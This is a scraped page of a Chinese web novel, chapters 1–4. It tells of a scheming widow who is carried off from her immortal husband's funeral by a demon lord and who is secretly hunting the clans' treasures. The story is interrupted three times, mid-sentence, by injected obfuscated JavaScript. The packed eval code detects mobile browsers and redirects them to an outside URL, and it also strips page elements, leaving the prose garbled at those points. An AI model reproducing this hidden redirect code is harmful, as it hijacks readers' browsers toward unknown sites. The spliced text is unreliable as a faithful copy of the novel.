《修真界黑寡妇》 1. 第 1 章 今日是玄微仙君的葬礼。 天幕阴沉,零星飘着几点细雨,玉京峰上挂起了白幡,位于峰顶的灵堂内,众人皆是一片静穆。 “真是可怜啊。” 说这话的是一个看起来古稀之年的老人,白发苍苍,皱纹横生,可一张脸仍红润有神,此刻抚着胡须唉声叹气,颇为惋惜的模样。 “温长老此言何意?” 他对面,年轻修士随口一问,但看那散漫的眼神,显然并不很关心。 温从声的目光落在灵堂正中的棺木前。 那里正有一女子跪坐蒲团上,宽大的丧服衬得她身形弱不禁风,面色似比屋檐上的白幡还要惨淡,眉宇间氤氲阴雨般细密的哀愁。 温从声又叹了一句,“曲夫人年纪轻轻就丧夫,偌大个玉京峰连个可以依靠的弟子都没有,往后该如何是好?” 他口中曲夫人便是玄微仙君的道侣,是仙君在一次历练后带回宗门的凡人女子,据说二人青梅竹马,自小感情就深厚。 可与那惊才绝艳的仙君不同,曲云织天赋低微,整日被天材地宝供养修为也不见多高,全身上下也就一张脸能看。 私底下有人议论,玄微仙君的夫人,金玉其外内里空空,堪称他白璧无瑕的一生中最大的缺憾。 “那又怎样?”回话的依旧是年轻修士,他双手抱臂,站在偏僻的一角,远离灵堂中沉重哀伤的氛围,像个局外人,眼中沁出些不合时宜的笑。 纪初澜调子拖得长,懒散又戏谑地说:“升官发财死老公,人生三大喜事,玄微仙君一死,曲夫人直接占了其中两样。” 温从声面色一僵,愤愤瞪了他一眼,像是警告他不要乱说话,也像是恼怒于自己挑起的话题被搅散。 “总之。”温从声一阵清咳,又恢复成慈眉善目的形象,“玉京峰上珍奇异宝无数,只曲夫人一人守着,怕是很难守住玄微仙君留给她的遗产。” 纪初澜闲闲发问,“所以你自告奋勇,要替可怜寡妇看顾她的万贯家财?” 温从声厚着脸皮,眉毛都不带动一下,义正言辞道:“老夫也算是玄微的长辈,替他照顾一下亲眷怎么了?” 然后照顾着照顾着,把人家遗产挪自己芥子袋里了是吧? 纪初澜都懒得接这话,淡淡笑了下,转头扫视一圈在场其他人,显然抱着跟温从声同样想法的人不少,如狼目光若有似无钉在丧衣女子的后背。 回想起温长老的话,有一句他不得不赞同。 “真是可怜啊。” 纪初澜已不想再看这一出闹剧,脚步一迈便要回自己的洞府。 可他抬起的腿还不等放下,身形就是一滞。 与此同时,在场所有修士霍然抬头,面露骇色,目光死死定在灵堂外一处空地。 只见清幽的林间小道上,不知何时走来一行人,奇装异服,在满目白幡中尤为刺眼,周身还缭绕着漆黑阴戾的魔气。 为首之人一袭深蓝近黑的衣袍,衣襟大咧咧敞开,露出小半健硕胸膛,金丝腰带勾勒细窄腰身,行走时金饰与细链碰撞出泠泠轻响。 “听说死对头举办葬礼,本尊特意前来庆贺一番。” 魔尊俊美的面容带着过分爽朗张狂的笑意,歪头时几缕细辫和五色绳结晃荡出顽劣的弧度。 “小儿狂妄!” 温从声怒喝道,作为在场修为与地位最高的长老,他当仁不让挡在最前方,摆出修士结阵的姿态,“竟敢擅闯上清仙宗,就不知你有命来,又是否有命走了!” 万俟逐鹿不屑轻嗤,“半截身子入土的老东西,本尊安危就不劳你费心了。” 口中说着针锋相对的狠话,他的心神却全然落在众修士身后,灵堂中央的棺椁以及棺材前跪坐的女人。 曲云织也正在看他,眼神冷淡,仿佛身处帷幕后的另一重世界,白衣女子一腔悲喜与所有人无关,见魔尊闯入也只像来了个吵嚷的访客,多看一眼便不再关注。 万俟逐鹿摸了摸下巴,思绪有些游离。 前段时间他刚跟玄微这个阴险小人大战一场,伤得不轻,好在玄微也没比他好到哪里去。 养好伤闭关出来,就有下属咋咋呼呼跟他禀报—— 喜大普奔,玄微仙君渡劫死了! 他:“?” 斗了这么多年的死对头突然暴毙,天降惊喜,太过不真实以至于他当场关上洞府石门,往脸上揪了好几下,感受到货真价实的疼痛后,才在下属懵圈的注视下走了出来。 哈哈哈,他就说人贱自有天收,玄微那个狡诈卑鄙的狗东西,连老天都看不过眼了! 万俟逐鹿心情无比愉快,但冷静下来细想,这件事透露着异样。 他确信玄微与他的斗法中,伤势不比他轻,可哪个修士想不开非要重伤未愈时进阶渡劫的? 是另有隐情,还是这狗东西压根没死? 这场葬礼又是否是为他布置的陷阱? 想不通的事情那就亲自求证,于是万俟逐鹿大摇大摆闯进玉京峰,只求一个答案。 魔尊指尖一勾,在修士们如临大敌之际,一缕阴影悄无声息游动到棺椁附近,探出半截细长身躯,顶起棺材盖奋力一掀。 哐啷! 一声木板落地的动静引起众人注意。 曲云织方才漠不关心的神色一变,愤而起身,一双秀目冷冷直视向魔尊。 万俟逐鹿自顾自垂眸,看向棺椁之内。 修士死后肉身羽化,通常将他们的本命法宝做衣冠冢下葬。 而四四方方的木质棺材内,正躺着一柄断剑。 玲珑剔透,如秋水白玉所锻,又似引山间雾气所融的一柄轻剑,剑柄纹饰精巧,剑身看似纤薄脆弱,却蕴着不可直视的锋利寒芒。 眼下这把兼具华美与锋芒的利器,就这样折断棺中,通身灵气不再,只余下一片黯淡。 玄微这人真死了? 万俟逐鹿挑眉。 修士与本命法宝同生共死,即便剑断人未死,想要解开与本命法宝的联系也要遭受反噬,付出不小的代价。 费这么大劲儿,伤还没好全就接连受反噬,只为把他引入一个拙劣的陷阱,想也知道不可能。 但他怎么就是不信呢? 不是他多疑,而是他对自己有着绝对自信。 能与他势均力敌多年的对手,怎么可能死得如此轻易? 心中有了决断,万俟逐鹿哼笑一声,抬起手打了个响指。 这一声似惊醒众人,温长老喝道:“结阵!” 铺天盖地的灵光眨眼笼罩了山头。 可他们仍是慢了一步。 潜伏在棺椁附近的阴影仿佛受到某种召唤,如宣纸上洇开的浓墨,由细细长长的一条转瞬扩大至整间灵堂。 等漆黑不见光的阴影散去,灵堂还是灵堂的模样,只是棺材中的断剑与一身缟素的女人消失不见。 众人定睛一看,魔尊正一手不轻不重掐着曲云织的脖颈,任凭她难受地挣扎,修长五指也如铁钳般纹丝未动,而另一只手上正抛接把玩着那柄断剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251965|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “人和剑我就带走了。” 万俟逐鹿没打算和修士们正面动手,他来此的目的只是探明玄微之死的虚实。 青云剑拿回去研究一二,至于这人,好歹也是死对头的结发妻子,从她口中能总问出点有用的东西。 再者万一玄微真的没死,而是隐匿起来。 他就不信天底下有几个人能忍得住夺妻之恨。 “站住!”温从声怒斥。 随即一道阵法产生的惊雷狠狠劈在魔尊脚下。 万俟逐鹿缓缓回头,眉间隐现不耐。 温从声苦口婆心,“老夫知你与玄微的恩怨,可祸不及家人,曲夫人一介弱女子,不至于碍了你的眼吧?” 他眼馋人家遗产是一回事,玄微仙君的遗孀被魔尊掳走又是另一回事。 再怎么也不能看着小辈落入魔窟。 万俟逐鹿眼眸微眯,熟悉他的魔族知道这是懒得纠缠下去的征兆,“你们人族的规矩与我何干?” 语毕,不等他说什么,他带来的魔族手下已自发拦住阵法攻击,替他开路。 魔尊手一松,青云剑落入脚下的影子,仿若沉进深不见底的泥潭,他随手封了曲云织的经脉,将人往肩上一抗。 万俟逐鹿闲庭信步行走在交织的灵光中,肩上那人一动未动,像是知道无能为力索性认命,柔软的身躯如一条慵懒搭在树干的蛇,鼻尖还能隐约嗅到一阵幽冷香气。 并不算多么馥郁,却清冽好闻。 魔尊身形微顿,不适应地偏过头,想着速战速决,脚下影子感知到他的心意迅速向外扩张,如同轻柔覆下的夜幕,周遭景色转瞬白昼入夜,将在场的魔族也纳入其中。 在万俟逐鹿即将踏入黑暗前,温从声涩声问道:“你究竟想对曲夫人做什么?” 却见那年少疏狂的魔尊沉思片刻,摆出一张故作凶恶的脸,像是刻意吓唬小孩那样。 “吃了?” 突兀的深夜散去,魔族一行人已不见踪影。 玉京峰上的众人却比参加葬礼时,更为如丧考妣了。 上清仙宗第一人,玄微仙君的葬礼上任由魔尊闯入,不仅带走了仙君本命法宝,就连遗孀都被掳了去。 简直是奇耻大辱,仙宗颜面何在! 凝滞的寂静中,忽有一弟子义愤填膺地站出来,“绝不能让魔尊再猖狂下去!” “在场参加葬礼的诸位,平日里都受到过仙君照拂,我们难道能眼睁睁看着他心爱的女子落入魔族之手吗?” 他手中长剑一声嗡鸣,铮然剑鸣声响彻长空,一扫众人心头阴翳,“此次是我们猝不及防才让魔族钻了空子,往后绝不能让今日之事重演!” 弟子躬身向众修士行礼,诚恳道:“为时尚且不晚,烦请诸位助在下一臂之力,救曲夫人于危难中。” “好!”修士们连声附和,压抑的斗志被再度点燃。 温从声在一旁看着,本是为仙宗后继有人感到欣慰,突然琢磨过味来。 这群人原先也打着跟他一样的算盘,意图谋夺人家遗产,怎么现在变得大义凛然了起来? 他望向那弟子的眼神逐渐古怪。 打着营救玄微遗孀的名义,顺理成章收拢这一盘散沙各怀心思的势力,不管人最终有没有救回来,这笔遗产都能因他的功劳分他一份,还得了个不错的名声。 如此天赐良机他怎么就没能把握住! 温从声心下止不住地懊恼,忿忿不平地想—— 年轻人不讲武德! 2. 第 2 章 “老大。” 宋逾一登上驶向魔域的飞舟,就迫不及待要找点事做,张嘴报出一串菜名,“人肉你想吃红烧、清蒸、油炸、爆炒、糖醋、油焖,还是其他?” 自封为魔尊头号小弟,当然要将老大的每一道命令贯彻落实,他还记得魔尊最后说的,要将掳回来的那女人吃掉的话。 万俟逐鹿:“……” 他仔仔细细看了宋逾一眼。 那明显是句玩笑话,但架不住面前这呆瓜当了真。 也怪不了他,毕竟众所周知,魔族喜食人。 想着,万俟逐鹿眸光一转,恶劣的弧度自然而然挂在嘴角,带着点看好戏的心态,一抬下巴点向角落里的女人。 “问她。” 曲云织抱着膝盖,在金碧辉煌的飞舟上,素衣黑发的打扮显得格格不入。 她面色苍白,像是失血过多或是大病初愈,反之那双眼眸又过分地漆黑,截然相反的两种色彩交织出一种惊心动魄的凄艳。 即便听到那两个魔族正讨论如何烹饪自己,她也只是微抬了眸,声音轻得低不可闻。 “能做成丸子吗?” 曲云织似乎是很认真地想了想,“下刀痛快些,死得不那么疼,剁碎了看不出原本的面貌,就不用去想尸体丑不丑的问题。” 刚死了丈夫,如今孤身一人落入魔族,连点自保之力都没有,她早已心如死灰,绝望之中又透着那么一丝俏皮的释然。 宋逾看着她那张白得跟水鬼一样的脸,心中泛起些许不忍,于是郑重承诺,“放心,一定把你做成最美味的丸子。” 万俟逐鹿:“……” 他一把揪住跃跃欲试上前的宋逾,手臂发力将此魔丢出去老远。 魔尊带着一如既往爽朗而残忍的笑意,屈膝蹲在曲云织面前,满身金饰如林间摇曳的光影,一缕小辫垂至脸颊边。 “知道我为什么要将你掳来吗?” 曲云织长睫翕动,轻轻点头,“因为我夫君。” 玄微仙君和魔尊是死敌,修真界无人不知,二人同样是横空出世的少年天才,站在人族与魔族的对立面,生死之间交手过无数次。 如今仙君身陨,作为仙君道侣的她没了依靠,受到魔尊的报复也不足为奇。 万俟逐鹿不用看也能猜到她心中所思,顿觉乏味。 他和玄微那厮的仇还不至于发泄在外人身上,葬礼上将人强行抢过来,一是看看夺妻之仇会不会让玄微诈尸,二就是从她口中问出玄微之死的始末。 问完了,这人也就没用了,之后该如何处置—— 万俟逐鹿想起曲云织瘦弱的小身板,感觉塞牙缝都够呛,不如找个野地放生算了。 魔尊张口欲要询问,瞳孔却忽而紧缩。 一双白皙柔软的手环上他脖颈,肌肤紧贴处能察觉女子微凉的体温,清寒幽冷的芳香密不透风地涌了过来,丝丝缕缕似能渗入骨髓。 曲云织倾身向前,双臂揽住万俟逐鹿,分明没用多大力气,却轻而易举将修为高出她几境的魔尊推到在地,脸颊贴上他半裸的胸膛,滚烫的温度熏得她肌肤泛起了红。 “总归是要吃人的。”她像是在漠不关心诉说他人之事,话语平淡,“不如换一种方式来吃。” 万俟逐鹿低头,曲云织正以一种生疏却故作亲昵的姿态倚在他怀中,即便做出此等堪称放浪的举止,她面上神情也是寡淡的。 是委曲求全,也是心不甘情不愿。 万俟逐鹿不由得笑了,嗓音轻慢道:“刚刚还一副要死不活的样子,现在就想着摇尾乞怜了?” 曲云织身子一颤,平静的表象被那刻薄的话语戳穿,急促为自己辩解,“不管在仙宗还是魔域,等着我的都只有被吃干抹净的结局,但至少这个‘吃’法要由我来选。” 为玄微仙君守灵时,那么多充斥着贪婪与算计的目光落在后背,再迟钝的人也该感觉得到。 万俟逐鹿也想起他在灵堂上所见的一幕,众多修士如贪食的饿狼,环伺中心那只失去庇护的可怜白兔。 他磨了磨牙,转瞬意会了曲云织的想法,一字一句地问,“所以你勾引我,是打算借我对付那群贪你遗产的修士?” 意图轻易被挑破,曲云织一愣,不知所措般怯声问道:“可、可以吗?” 万俟逐鹿:“……” 一年份的无语都快在今天被用光了。 他伸手将曲云织推开了些,五指掐住她下颌,对上那双不怎么聪明的眼睛,“玄微死后,你转而勾引他的死敌。” “就没有那么一丝,觉得对不起亡夫的在天之灵吗?” 曲云织呼吸一窒,魔尊掐他的手根本没用力,她却觉得被扼住了喉咙,天旋地转的晕眩感搅得她眼中光怪陆离一片,心中最狼狈的伤疤被毫不留情扯开,暴露出不堪直视的腐烂脓疮。 她眼中沁出淋漓水色,波光剧烈地动荡,就好像要碎了一般。 万俟逐鹿下一句话彻底击穿她仅存的尊严。 “玄微择道侣的眼光也不怎么样。” 锋利的话语就像迎头给的一巴掌,扇得曲云织头晕目眩,唇瓣嗫嚅,却浑浑噩噩发不了声。 万俟逐鹿起身,掸掸衣摆上的灰,脚下影子漾开浅浅涟漪,曾被收纳其中的青云剑探出一截剑柄,自行飞入魔尊张开的手掌中。 “行了,不跟你兜圈子。”他随手挽了个剑花,“玄微是怎么死的?” 曲云织陷入自己的思绪中长久未回神,闻言下意识道:“渡劫失败,兵解魂消。” 万俟逐鹿蹙眉,“为何选择伤重未愈时渡劫?” 曲云织呆呆摇头,“不知道。” 万俟逐鹿本想问你身为人家道侣,连这点事都不清楚,但对上那双清澈又愚蠢的眼—— 魔尊没好气屈指往青云剑上一弹,注入一缕魔气。 濯如冰玉的剑身被漆黑雾瘴所侵染,却像重新活了过来,拼死抵抗这一道入侵的魔气。 断剑悬空,止不住发出嗡鸣。 却忽然,平滑的断口稳稳指向跪坐地上的曲云织,破空之声响起时,剑刃已险些割破那截脆弱的颈项。 关键时刻,万俟逐鹿紧握剑柄,慢悠悠抽回青云剑。 曲云织却受到不小的惊吓,后知后觉捂住脖颈,依然能感受到残留肌肤的寒意。 “走了。”没必要从此人口中再作询问,魔尊于是招呼小跟班,大跨步离开。 宋逾紧赶慢赶跟在他身后,“老大,那女人该怎么处理,是继续做成丸子吗?” 他还在纠结丸子的问题。 万俟逐鹿只说:“留着,带回魔域。” 宋逾应了声,接着反应过来不对,“又不能做成丸子,又没法问出些什么,留着干嘛?” 难不成真被勾引到了? 想法冒出来的一瞬,他自己都被惊到,脚步一错差点摔倒,抬起头难以置信望向魔尊后背。 据他多年以来的了解,老大可不是爱使坏吓唬人的魔,却在最后反常地拿把断剑恐吓那个人族女子。 老大动心了? 他们不近女色的魔尊被玷污了? 宋逾痛心疾首,脸色像被打翻的调色盘,缤纷极了。 万俟逐鹿要再不解释,他担心自己从今往后风评被害。 “想多了,这柄剑不是我刻意使坏才冲出去,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251966|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自行对那女人产生了杀意。”他险之又险攥住剑柄,才没发生血溅当场的事。 眼下青云剑已没了动静,魔尊手上一松,剑身便毫无反抗落回影子里。 “名剑护主,只会对心怀不轨之人有敌意。” 万俟逐鹿说到这里,唇角微挑,眼神由一开始的漫不经心转变为兴奋。 “也就是说,玄微之死,和那女人脱不开干系。” * 魔尊走后,曲云织缓缓松开捂在脖颈上的手。 那些迷茫、狼狈、心有余悸,一切脆弱而动摇的神色也随之消失不见,取而代之的是一种极深的漠然。 第一步勉强算是成功了。 她心想。 接近魔尊,诱他动心,最后将其杀死,获取他身上的魔族至宝。 修真界共有人魔神妖四族,每一族都有着各自的至宝,据说乃天地鸿蒙所化,四族至宝齐聚时能引动天道,更改法则。 十年前,她的族地发生了一场灾难。 白虹贯日,林间虫鸣鸟叫尽皆蛰伏,周遭陷入异样的寂静。 随后所有的声响在同一时刻爆发,大地龟裂,岩浆肆无忌惮地涌现,浓烟与黑云像某种庞然巨物倾轧而来。 昔日安宁的故乡眨眼成了无人的死地。 这绝非人力所能及,而是天罚。 她生活在这片故地的族人,不知遭了什么无妄之灾,此后也将被困于此地经受永无止境的折磨。 唯有她和青梅竹马,也就是后来的玄微仙君成功出逃,捡回一命。 只可惜二人不幸失散,许久后才再度重逢。 想要解除族人身上的天罚,就只能借四族鸿蒙至宝之力。 至宝总是随机出现在一人身上,那人往往天赋高强,历经磨难,逆境中获得无与伦比的成长,又被戏称为气运之子。 但不是所有气运之子都有跨越困境的能力,大多数英年早逝。 目前修真界并没有从气运之子身上抢走鸿蒙至宝的方法,就连气运之子自己也无法转移,唯有他们死后至宝才会自行寻找下一任持有者。 如此循环往复,生生不息,铁打的鸿蒙至宝,流水的气运之子,所以至宝也被视为一族气运的象征。 曲云织也不知为何,许是她功法特殊的缘故,能通过引气运之子动心,以爱情这种利她的情感,将气运之子杀死后,从而做到欺瞒鸿蒙至宝的所有权。 这种能力还是在玄微仙君身上试出来的。 青梅竹马一场,同样怀着拯救故土的目标,她本也不打算杀他,奈何他走错了路。 既然已经动了手,不如把事情做到底。 曲云织索性借玄微仙君的葬礼,将下一个气运之子魔尊引了过来,本想给二人的初见留下点深刻印象,以方便后续的攻略。 没曾想魔尊性格如此狂悖,竟公然将她掳走。 比起留在仙宗处心积虑寻找与魔尊见面的机会,还要对付一群狼子野心的修士,曲云织索性顺着魔尊的意思不做反抗,乖乖被带到魔域。 她起初给自己写的剧本是“死对头的遗孀”、“金丝雀复仇记”,奈何魔尊不为所动。 啧,怎么这么挑呢? 曲云织一想到这点就很不爽,尤其回想起魔尊时刻挂在嘴边的“玄微”,以及对自己的蔑视。 魔尊眼里只看得到强者。 菟丝花的剧本固然香,但对他不适用。 于是曲云织顺理成章转变了路线,在魔尊以魔气催动亡夫的青云剑时,稍微做了点手脚。 正是为了告诉他,你眼中的强者死于我之手。 寡妇一朝翻身变毒妇,够刺激了吗? 3. 第 3 章 有点儿意思。 万俟逐鹿摸着下巴,回忆与曲云织短暂的相处。 一开始他连这人长什么样都不关心,默默给她贴了个死对头妻子的标签,打算问完话就扔,一点恨屋及乌的想法也没有。 葬礼上此人白衣缟素,面色苍白寡淡,他乍一眼也以为这是刚死了老公,又面临一大票谋夺家产的修士,从而产生的哀莫大于心死。 但如今想来,更像一种置身事外的漠然。 毕竟她每一次出乎意料的举止,都恰好踩在他情绪变动的节点。 这是一个精于算计的女人。 就是这样一个他不放在眼里的人,疑似,或者说基本可以肯定,是害得玄微殒命的凶手。 玄微是他执着多年也要斩于剑下的敌手,是他遇到过骨头最难啃的猎物。 在他仍追逐奔跑,獠牙尚未触及眼前目标时,就有一发突如其来的陷阱虎口夺食。 他很不爽。 既然抢了他的猎物,就该付出代价。 她该被他所狩猎。 万俟逐鹿思绪稍稍抽离,问一旁的宋逾,“你说她为什么要杀玄微?” 理由他想不通,这对道侣不像结仇的模样,据说还是青梅竹马,杀了玄微对曲云织有什么好处? 上一句还说曲云织与玄微之死有关,下一句就直接笃定,宋逾脑子还没转过弯来,茫然“啊”了一声。 万俟逐鹿也不需要他回答,语气轻松道:“有没有一种可能,那女人是魔族派过去的卧底?” 目前看来,乍然没了结怨多年的死敌,他才是最大的受益者诶。 这显然是句玩笑话,可宋逾没发觉有好笑的地方,略显冷漠地说:“魔族有没有派卧底,你不知道吗?” 万俟逐鹿:“……” 行,他果然没有幽默的天赋,开个玩笑只让人一点也笑不出来。 魔尊有些受打击,他一本正经远离令自己悲伤的话题,转到正事上去。 “这几天你派人调查玄微和他道侣之事,他们的过去,在上清仙宗的相处,尤其这段时间有无异常,事无巨细摆到我面前。” 曾经他对曲云织多有忽视,知晓玄微有个花瓶道侣,仅此而已的地步。 现在所谓的花瓶美人都算计到他身上来了,是该恶补一下对手的情报,知己知彼。 宋逾不会在正事上含糊,严肃应了声“是”。 “至于曲夫人。”略显暧昧的称呼在他舌尖辗转一圈,万俟逐鹿笑了笑,“将她安排到偏殿。” “无需以我的名义。” 宋逾一怔,没说什么,躬身退了下去。 在魔族,不被打上任何印记的猎物,意味着谁都能肆意欺辱。 * 曲云织最近很忙。 无需怀疑,就是魔尊搞的鬼。 将她带回魔域后就再没露过面,尽派些歪瓜裂枣的魔族上门找她麻烦。 是被什么麻烦绊住了,还是正在核实玄微的死因,调查她的过去? 在动动口舌气跑了两个,搞哭了三个,耍弄了一群魔族后,曲云织终于不耐烦了。 算算时间,觉得魔尊差不多该见一见自己,再不来就该换她大闹魔宫。 这天,殿外传来脚步声。 曲云织托腮斜倚榻上,随意抬眸往外一瞥,正想着今天干脆把找麻烦的魔族气爆炸,视线中却闯入一抹玄衣身影。 泠泠作响的金饰和那标志性的小辫,后知后觉被她注意到。 曲云织坐直了身子,唇角微弯,眼眸半敛,大袖扫过面前小桌,温声曼语道:“你来了,坐吧。” 万俟逐鹿脚下一顿。 这语气怎么跟她才是此地主人一样? 是在表达被晾了几天的不满吗? 想起手下禀报她这段时间做了些什么好事,这是自从暴露真面目后,就丝毫不掩饰美人带刺的事实。 万俟逐鹿似笑非笑,倒也顺着她的意思落座,眼见曲云织自然而然沏了一壶茶,将冒着热气的茶杯推至他面前。 魔尊接过,很给面子地一饮而尽,“是我不对,这些日子冷落了你,以茶代酒赔个不是。” 曲云织静静看着茶杯渐空,可惜找不到机会下药。 “我调查了你与玄微的过去。”万俟逐鹿开门见山地说。 曲云织神色未改,她今日穿了身织金黑袍,肖似的颜色落在魔尊身上是冷峻深沉,换成她则穿出一种凄迷阴郁的昳丽,像蛰伏阴影的幽鬼。 她半点不意外的模样,表情依旧很淡。 万俟逐鹿说:“你二人自小相识,应当来自同一个地方,可奇怪的是你们就像凭空冒出来的一样,找不到丝毫过去的痕迹。” 玄微仙君横空出世,在一次凡间历练后带回他的青梅。 短短两句话,足够概括他二人此前一生。 曲云织心想并不奇怪,她们一族遭遇天罚前,也是避世隐居的,再加上玄微早先便清扫过痕迹,时隔多年魔尊查不出很正常。 万俟逐鹿接着道:“来到上清仙宗后,你们感情深厚,恩爱非常,一人君子持礼,一人红袖添香。” “所以我实在想不出你杀玄微的理由。” 魔尊微微叹息一声,表现得他对玄微之死有多惋惜的样子,而后话锋一转,“不过想想你先后接近玄微与我,其中目的不言自明,是为了气运之子,准确来说是我们身上的鸿蒙至宝而来。” 曲云织毫不意外魔尊能看破这点,她只说:“至宝无法被他人抢夺。” 万俟逐鹿不以为意,“只是无法被抢而已,除此之外的手段多的是,至宝无法可解,但人身上到处是破绽。” “诱骗、欺瞒、利用,但凡对人起效的手段对气运之子同样有用。” “再说了。”魔尊语调散漫,意有所指地说,“只是目前没有,不代表不存在抢夺鸿蒙至宝的手段。” 曲云织听出来了,但她不紧不慢反驳,“魔尊高看我了,凭我这点微末修为,怎能做到那些大能都无法成功之事?” “玄微可以,你为什么不行?” 万俟逐鹿偏了偏头,额发懒懒散落,一双鹰隼般锐利的眼直视曲云织。 即便知道不能在此时表露出异样,可曲云织难以抑制心中错愕,瞳仁有瞬间缩紧。 他说什么? 玄微能强行夺走气运之子身上的至宝,就和她一样! 或者说—— “玄微根本不是人族气运之子,他身上的鸿蒙至宝,是从真正的气运之子手中夺来的。” 魔尊慢条斯理地,将曲云织也不曾知晓的真相道出。 万俟逐鹿起身,居高临下地俯视她脸上神情,“你们来自同一个地方,我猜拥有这种能力的应该不止你们两个,看你的样子,似乎并不知情。” 曲云织掩在衣袖下的手攥得死紧。 她心神乱了。 玄微从来没跟她提过这一点,魔尊是怎么知道的,还是说在拿谎话诈她。 可倘若魔尊说的是真,恐怕她们一族都拥有这种能力。 与族人莫名遭受天罚是否有联系? 玄微可以瞒她这一件事,又是否有更多秘密不被她发觉? 她们毕竟错过了十年,那些琴瑟和鸣、恩爱不移的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251967|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回忆里,又究竟有多少是虚情假意? 可惜人死得不能再死,真相已无从知晓。 万俟逐鹿垂眸凝视曲云织的面庞,女子那双漆黑的眼里暗流激荡,翻涌着无尽愤怒却被主人死死压抑。 初见时他就觉得这双眼睛很漂亮,长睫卷翘,眼皮勾画出工笔般优美流畅的弧度,落笔在眼尾处又有着宛若淡墨的洇痕,是一双典型的桃花眼。 可惜眸子雾蒙蒙的,寥落而冷清,像在下着一场哀愁的细雨。 她想必也曾为玄微的死而感到哀伤。 如今骤然得知那人深情作假,全心全意信任的夫君早与她疏离。 即便此前有过愧疚,更多的是被欺瞒、被背叛的怒火,以燎原之势点燃,烧得那双眼里雾色不再,如洗净了的刀锋,迸发出凛冽寒光。 如此明亮夺目。 也是如此的,惹人怜爱。 魔尊第一次做出堪称亲昵的举动,情难自禁。 他俯下身,细细替曲云织梳理鬓边乱发,摩挲细腻顺滑的发质,轻柔拢到耳后,拇指有意无意蹭过她眼尾。 “放心,今后不会再让外人叨扰你。” 万俟逐鹿以一种安抚的语气许下承诺,意味着他将正式在魔族,给曲云织打上自己的标签。 由他亲自来陪她玩。 试探至此结束,他知道了曲云织的目的是夺走魔族至宝。 而他的目的是狩猎她。 她修为着实算不上高,简简单单将人杀了没多大兴致。 他要从心理层面彻底将她征服。 魔尊离开了。 从曲云织的态度来看,玄微之死已成定局,于是那把失去价值的青云剑被留了下来,说是物归原主。 一个被青梅妻子谋杀的夫君。 一个还需外人提点才知自己被欺骗的妻子。 物归原主? 可笑。 曲云织握着剑,感受到手心处传来的寒意与刺痛,强迫自己冷静。 这没什么,她安慰着自己。 玄微的确已经死了,陨命在天劫之下,不可能再活过来给她添堵。 她的处境艰难,早早暴露自己的底牌,可她依然有两点优势。 其一是魔尊不大可能杀她,因为她身上带着人族至宝太乙天书,一旦她死了,天书将回到人族寻找下一个,也许是那个真正的气运之子。 一个玄微就足够给魔尊造成不小麻烦了,他也不想见到第二个玄微。 其二便是,她抢夺鸿蒙至宝的方法有赖于获取气运之子的好感,而魔尊对她感兴趣,意味着他已然无知无觉落入她设下的情网。 正当曲云织想着如何扭转局势时,斜侧伸来一只手,死死握住她手腕。 曲云织抬头,见是魔尊安排给她的暗卫,名为保护实为监视,这些天一句多余的话也不说,只在那几个挑事的魔族被她逼急差点动手时才现身阻止。 暗卫掰开她的手。 曲云织这才发觉她方才太用力,手心被剑刃割破,汩汩鲜血涌出。 魔族喜食人,这是被鲜血的气味刺激到了吗? 曲云织漫不经心地想着,已经构思好如何借此机会拉近与魔尊的关系。 可当她再去看暗卫的神色,与她预想中的贪婪和食欲不同,暗卫露在面罩外的眉头紧锁,眼里充斥的是同本能的挣扎,与发自内心的厌恶。 一个食素的魔族? 就是不知道能否为她所用。 曲云织朝暗卫伸出那只带血的手,状若无意,就好像那不是诱他破戒的毒。 她轻声问,“要舔一口吗?” 4. 第 4 章 “要舔一口吗?” 仿佛一句再寻常不过的邀请,说这话的人神色无辜极了。 可听在魔族耳中,就是刺激他们大快朵颐的信号。 步谨言的目光几乎霎时被猩红血迹所攫取,这个人族女子有一双说不上多么细嫩的手,按理来说她应当养尊处优,可事实是那双手掌心错落薄茧,手背与五指都有着淡了的伤痕。 一道狰狞的豁口就这样横亘于手掌间,在黑衣与雪白肤色的衬托下,鲜血艳丽到能刺痛眼球。 香甜的气味源源不断涌了上来,比寻常人族有着远胜千百倍的吸引力。 更重要的是,他已经不知道多久压抑食人的本能。 仿佛灾荒时的饥民骤然遇上山珍海味,饥肠辘辘的胃成了深不见底的洞穴,往日里可以忽视的焦灼在此时蜂拥而至,脑子里除了疯狂叫嚣的食欲再装不下其他。 步谨言知道面前的女子是个什么样的人。 这些天他看得清楚,脆弱表象下是一副歹毒的心肠。 杀死多年相伴的夫君,三言两语击溃对她不怀好意的魔族心防,甚至还在筹谋对付魔尊。 正是这样一个心计深沉的女人,体内流淌的血液也是惑人成瘾的毒。 